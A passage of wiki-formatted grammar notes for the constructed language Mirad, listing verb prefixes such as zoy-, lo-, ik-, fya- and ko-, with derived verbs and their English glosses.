::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''
::* '''teaxer'''....''to look at'' → '''ufteaxer'''....''to scorn, to disdain''
::* '''teuber'''....''to make an expression'' → '''ufteuber'''....''to frown''
::* '''teuder'''....''to shout'' → '''ufteuder'''....''to grouse, to gripe''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''agser'''....''to grow'' → '''fiagser'''....''to thrive, to flourish''
::* '''axler'''....''to act'' → '''fiaxler'''....''to behave well''
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''deler'''....''to declare'' → '''fideler'''....''to approve''
::* '''datiber'''....''to host'' → '''fidatiber'''....''to welcome''
::* '''diber'''....''to manage'' → '''fidiber'''....''to husband''
::* '''doler'''....''to be silent'' → '''fidoler'''....''to be discrete''
::* '''duer'''....''to suggest'' → '''fiduer'''....''to recommend''
::* '''ebexler'''....''to interact'' → '''fiebexler'''....''to get along well''
::* '''exer'''....''to operate'' → '''fiexer'''....''to operate smoothly''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''ijer'''....''to start'' → '''fiijer'''....''to get a good start''
::* '''nagser'''....''to measure'' → '''finagser'''....''to adapt''
::* '''napxer'''....''to arrange'' → '''finapxer'''....''to tidy up, to neaten''
::* '''ojfer'''....''to wish'' → '''fiojfer'''....''to wish well''
::* '''per'''....''to go'' → '''fiper'''....''to fare well, to prosper''
::* '''teaser'''....''to seem'' → '''fiteaser'''....''to look nice''
::* '''teaxer'''....''to look at'' → '''fiteaxer'''....''to admire''
::* '''tejer'''....''to live'' → '''fitejer'''....''to thrive''
::* '''teuder'''....''to shout'' → '''fiteuder'''....''to acclaim, to laud''
::* '''tosuer'''....''to make feel'' → '''fitosuer'''....''to exhilarate''
::* '''tujer'''....''to sleep'' → '''fitujer'''....''to sleep soundly''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''

=== Expressing Bad Actions with '''fu-''' ===
::* '''axler'''....''to act'' → '''fuaxler'''....''to misbehave''
::* '''bekuer'''....''to treat'' → '''fubekuer'''....''to mistreat, to maltreat''
::* '''bexer'''....''to hold'' → '''fubexer'''....''to fumble''
::* '''bikuer'''....''to care for'' → '''fubikuer'''....''to neglect''
::* '''daler'''....''to talk'' → '''fudaler'''....''to speak ill of, to badmouth''
::* '''deler'''....''to declare'' → '''fudeler''''....''to denounce''
::* '''diber'''....''to manage'' → '''fudiber'''....''to mismanage, to maladminister''
::* '''doler'''....''to be quiet'' → '''fudoler'''....''to sulk''
::* '''dezgonuer'''....''to cast'' → '''fudezgonuer'''....''to miscast''
::* '''exer'''....''to function'' → '''fuexer'''....''to malfunction''
::* '''fer'''....''to want'' → '''fufer'''....''to wish ill''
::* '''fyiduer'''....''to advise'' → '''fufyiduer'''....''to ill-advise''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''abbixer'''....''to attract'' → '''&lt;u&gt;az&lt;/u&gt;abbixer'''....''to infatuate''
::* '''aluer'''....''to blow'' → '''&lt;u&gt;az&lt;/u&gt;aluer'''....''to huff''
::* '''basrer'''....''to shake'' → '''&lt;u&gt;az&lt;/u&gt;basrer'''....''to convulse''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;az&lt;/u&gt;bexer'''....''to clutch''
::* '''birer'''....''to grab''' → '''&lt;u&gt;az&lt;/u&gt;birer'''....''to seize''
::* '''buxer'''....''to push''' → '''&lt;u&gt;az&lt;/u&gt;buxer'''....''to prod''
::* '''byexer'''....''to strike'' → '''&lt;u&gt;az&lt;/u&gt;byexer'''....''to stomp, to hit hard''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
::* '''fer'''....''to want'' → '''&lt;u&gt;az&lt;/u&gt;fer'''....''to crave''
::* '''fuyevder'''....''to criticize'' → '''&lt;u&gt;az&lt;/u&gt;fuyevder'''....''to lambaste''
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''

=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

